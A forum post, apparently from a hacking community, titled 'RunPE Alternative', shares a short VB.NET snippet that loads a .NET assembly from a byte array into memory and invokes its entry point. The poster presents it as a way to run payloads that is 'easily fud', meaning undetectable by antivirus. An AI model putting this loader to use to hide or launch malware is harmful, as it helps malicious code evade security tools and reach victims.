Browsing as a guest
Hello! You are currently browsing this thread as a guest, If you would like to reply to this thread, please
or Register


Killpot
RunPE Alternative
#1
Yo. 

So I kind of had an epiphany a little bit ago and tried some code moved around that I was using to invoke a type from a byte array and managed to get this snippet of code working:

Code:
Dim asm As Assembly = AppDomain.CurrentDomain.Load(-ByteArray-)
           Dim Metinf As MethodInfo = asm.EntryPoint
           Dim InjObj As Object = asm.CreateInstance(Metinf.Name)
           Dim prgObj As Object() = Nothing
           If (Metinf.GetParameters.Length > 0) Then
               prgObj = New Object() {New String() {Nothing}}
           End If
           Metinf.Invoke(InjObj, prgObj)


Now you could work in some dynamic calling into there and it's easily fud, however obviously since you're invoking into a .Net file you cannot inject native programs into it. However, it isn't impossible. 
This concept isn't anything new, however I didn't even consider this and since I stumbled upon it I figured I'd share it with you all! Enjoy.
[Image: CMfs1Iz.gif]
Reply
Browsing as a guest
Hello! You are currently browsing this thread as a guest, If you would like to reply to this thread, please
or Register